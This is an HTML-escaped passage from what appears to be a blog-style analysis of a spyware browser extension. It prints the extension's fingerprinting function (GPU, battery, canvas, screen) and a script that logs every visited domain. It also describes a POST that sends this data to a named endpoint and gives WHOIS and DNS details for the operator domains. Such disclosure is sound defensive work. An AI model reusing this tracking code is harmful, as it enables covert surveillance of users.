keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;entries&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;utms&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; storage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Target Snapshot:&lt;/strong&gt; It grabs a list of all your open tabs, extracts their domain names, and stores them under &lt;code&gt;core_install_sites&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Click Attribution:&lt;/strong&gt; It sniffs active store tabs to extract campaign parameters (&lt;code&gt;an&lt;/code&gt;, &lt;code&gt;cid&lt;/code&gt;, &lt;code&gt;sid&lt;/code&gt;) from the ad referral URL, associating your install with the specific campaign.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;3.-the-injection-script%3A-fingerprinting-and-history-tracking&quot;&gt;3. The Injection Script: Fingerprinting and History Tracking &lt;a class=&quot;direct-link&quot; href=&quot;#3.-the-injection-script%3A-fingerprinting-and-history-tracking&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Next, I analyzed &lt;code&gt;content/broker.js&lt;/code&gt;, which runs on every page load. It executes two main surveillance loops:&lt;/p&gt;
&lt;h4 id=&quot;a.-generating-a-unique-hardware-fingerprint&quot;&gt;A. Generating a Unique Hardware Fingerprint &lt;a class=&quot;direct-link&quot; href=&quot;#a.-generating-a-unique-hardware-fingerprint&quot;&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The script compiles a highly detailed hardware profile of the host system:&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;gatherFingerprint&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;vars&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; gpu &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getGPUDetails&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; batCharging &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; batLevel &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;getBattery&quot;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; battery &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getBattery&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;      batCharging &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; battery&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;charging &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;      batLevel &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; battery&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;level&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;cpu_cores&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hardwareConcurrency &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;ram_gb&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;deviceMemory &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;gpu_vendor&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; gpu&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;vendor&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;gpu_renderer&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; gpu&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;renderer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;language &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;color_depth&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; screen&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;colorDepth &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;timezone&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Intl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;DateTimeFormat&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;resolvedOptions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;timeZone &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;unknown&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;canvas_data&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getCanvasFingerprint&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;touch_points&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;maxTouchPoints &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;an&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; vars&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;an &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;cid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; vars&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cid &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;sid&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; vars&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sid &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;screen_res&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;screen&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;width&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;screen&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;height&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;user_agent&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userAgent&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;bat_charging&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; batCharging&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token literal-property property&quot;&gt;bat_level&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; batLevel&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Canvas Profiler:&lt;/strong&gt; It draws a hidden graphic and extracts it as a base64 string (&lt;code&gt;getCanvasFingerprint()&lt;/code&gt;) to create a unique graphics card signature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hardware Inventory:&lt;/strong&gt; It reads your CPU cores, RAM size, GPU vendor/renderer strings, and screen resolution.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;b.-logging-browsing-history&quot;&gt;B. Logging Browsing History &lt;a class=&quot;direct-link&quot; href=&quot;#b.-logging-browsing-history&quot;&gt;#&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The script also logs every single website you visit, maintaining a persistent log in local storage:&lt;/p&gt;
&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;recordVisitedDomain&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; domain &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;normHost&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;location&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;hostname&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;domain&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; chrome&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;storage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;local&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;core_visited_sites&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; result&lt;span class=&quot;token operator&quot;&gt;?.&lt;/span&gt;core_visited_sites &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;hasOwnProperty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; domain&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;domain&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;domain&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;domain&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; chrome&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;storage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;local&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;core_visited_sites&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; data &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;  &lt;br&gt;  &lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;      &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; chrome&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;runtime&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sendMessage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token literal-property property&quot;&gt;eventName&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;CHECK_AND_FETCH_DATA&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token literal-property property&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; domain &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every time you load a website, the extension records the domain, increments the visit count, and tells the background script to check in.&lt;/p&gt;
&lt;h3 id=&quot;4.-recovering-the-exfiltration-endpoint&quot;&gt;4. Recovering the Exfiltration Endpoint &lt;a class=&quot;direct-link&quot; href=&quot;#4.-recovering-the-exfiltration-endpoint&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Following the message path of &lt;code&gt;CHECK_AND_FETCH_DATA&lt;/code&gt; in &lt;code&gt;background.js&lt;/code&gt; led me to the exfiltration function (&lt;code&gt;fetchData()&lt;/code&gt;). It bundles your open tab list, hardware fingerprint, browsing history, and campaign click IDs into a JSON packet, then does a POST request to dump it here:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://stopads-now.com/stopads.php&lt;/code&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-3%3A-threat-intelligence-%26-dns%2Fwhois-analysis&quot;&gt;Step 3: Threat Intelligence &amp;amp; DNS/WHOIS Analysis &lt;a class=&quot;direct-link&quot; href=&quot;#step-3%3A-threat-intelligence-%26-dns%2Fwhois-analysis&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Once I mapped out the code and found the backend domains, I pivoted to WHOIS and DNS lookups to analyze their infrastructure. Both domains use Cloudflare to hide their actual hosting IPs, and both were registered through Hostinger operations in Lithuania.&lt;/p&gt;
&lt;h3 id=&quot;1.-the-ad-landing-page%3A-zerodrifts.com&quot;&gt;1. The Ad Landing Page: &lt;code&gt;zerodrifts.com&lt;/code&gt; &lt;a class=&quot;direct-link&quot; href=&quot;#1.-the-ad-landing-page%3A-zerodrifts.com&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP Address Resolution:&lt;/strong&gt; &lt;code&gt;104.21.9.98&lt;/code&gt;, &lt;code&gt;172.67.189.54&lt;/code&gt; (Cloudflare CDN Proxy)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WHOIS Details:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Registrar:&lt;/strong&gt; HOSTINGER operations, UAB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Creation Date:&lt;/strong&gt; June 3, 2026 (Registered less than two weeks ago)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MX Records:&lt;/strong&gt; None. (This domain has no email capabilities configured).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2.-the-exfiltration-endpoint%3A-stopads-now.com&quot;&gt;2. The Exfiltration Endpoint: &lt;code&gt;stopads-now.com&lt;/code&gt; &lt;a class=&quot;direct-link&quot; href=&quot;#2.-the-exfiltration-endpoint%3A-stopads-now.com&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP Address Resolution:&lt;/strong&gt; &lt;code&gt;104.21.1.25&lt;/code&gt;, &lt;code&gt;172.67.151.225&lt;/code&gt; (Cloudflare CDN Proxy)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WHOIS Details:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Registrar:&lt;/strong&gt; HOSTINGER operations, UAB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Creation Date:&lt;/strong&gt; March 9, 2026&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MX Records:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mx1.hostinger.com&lt;/code&gt; (Priority 5)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mx2.hostinger.com&lt;/code&gt; (Priority 10)&lt;/li&gt;
&lt;li&gt;(Points to Hostinger&#39;s standard email hosting, hosting their support address &lt;code&gt;info@stopads-now.com&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
